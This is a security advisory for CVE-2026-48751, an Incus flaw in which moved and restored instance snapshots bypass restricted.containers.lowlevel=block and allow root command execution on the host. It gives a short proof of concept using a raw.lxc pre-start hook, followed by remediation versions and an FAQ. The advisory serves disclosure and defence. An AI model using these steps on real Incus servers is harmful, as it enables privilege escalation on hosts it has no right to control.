CVE-2026-48751: Incus has a restricted project bypass leading to arbitrary command execution
Summary
Instance snapshots ignore the restricted.containers.lowlevel=block setting; allowing for arbitrary command execution on the Incus server by abusing lowlevel hooks such as raw.lxc and raw.qemu.
Details
Instance snapshots ignore the restricted.containers.lowlevel=block setting; allowing for arbitrary command execution on the Incus server by abusing lowlevel hooks such as raw.lxc and raw.qemu.
As snapshots can be moved from one server to another, a malicious instance+snapshot can be crafted locally, moved to a restricted project and the snapshot restored for arbitrary command execution.
In practice, this allows a malicious actor to execute arbitrary commands on the host with root privileges.
PoC
remote, restricted incus project set rem:project restricted.true incus project set rem:project restricted.containers.lowlevel=block
locally, unrestricted project incus init images:debian/trixie rce-raw-lxc incus config set rce-raw-lxc raw.lxc='lxc.hook.pre-start = /bin/sh -c "/bin/id >/lxc-hook-prestart"' incus snapshot create rce-raw-lxc snap0 #> allow transfer to restricted project incus config unset rce-raw-lxc raw.lxc
locally, transfer and trigger incus move rce-raw-lxc rem: --mode push incus snapshot restore rem:rce-raw-lxc snap0 incus start rem:rce-raw-lxc
Impact
- Bypass of project restrictions. - Arbitrary command execution on the Incus server.
Other sources
Incus is a system container and virtual machine manager. Prior to version 7.2.0, instance snapshots ignore the restricted.containers.lowlevel=block setting; allowing for arbitrary command execution on the Incus server by abusing lowlevel hooks such as raw.lxc and raw.qemu. Version 7.2.0 patches the issue.
— MITRE
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
go/github.com/lxc/incus/v7/cmd/incusdto a version that resolves this vulnerability.Fixed in 7.2.0 - Upgrade
Upgrade
alpine/incusto a version that resolves this vulnerability.Fixed in 7.0.1-r0 - Upgrade
Upgrade
debian/incusto a version that resolves this vulnerability.Fixed in 6.0.4-2+deb13u8 - Upgrade
Upgrade
debian/incusto a version that resolves this vulnerability.Fixed in 7.0.0-5 - Upgrade
Upgrade
debian/lxdto a version that resolves this vulnerability.Fixed in 5.0.2+git20231211.1364ae4-9+deb13u7 - Upgrade
Upgrade
debian/incusto a version that resolves this vulnerability.Fixed in 6.0.4-2+deb13u10Fixed in 6.0.4-2+deb13u12Fixed in 7.0.2-3 - Upgrade
Upgrade
Incusto a version that resolves this vulnerability.Fixed in 7.2.0 - Compensating control
If you cannot immediately upgrade to Incus version 7.2.0, mitigate by preventing/metering snapshot movement and restore across projects (e.g., block/incidents-control the ability to move/restore instance snapshots between unrestricted and restricted projects) to stop bypass of restricted.containers.lowlevel=block via moved snapshots.
Event History
Frequently Asked Questions
What is the severity of CVE-2026-48751?
CVE-2026-48751 has a severity rating of 9.9, categorized as critical.
What does CVE-2026-48751 exploit?
CVE-2026-48751 exploits the fact that instance snapshots ignore the `restricted.containers.lowlevel=block` setting.
How can CVE-2026-48751 affect my system?
CVE-2026-48751 allows for arbitrary command execution on the Incus server, posing a significant risk.
What are the attack vectors for CVE-2026-48751?
CVE-2026-48751 can be exploited through lowlevel hooks such as `raw.lxc` and `raw.qemu`.
How do I mitigate CVE-2026-48751?
To mitigate CVE-2026-48751, ensure proper configuration of instance snapshots and restrict the use of lowlevel hooks.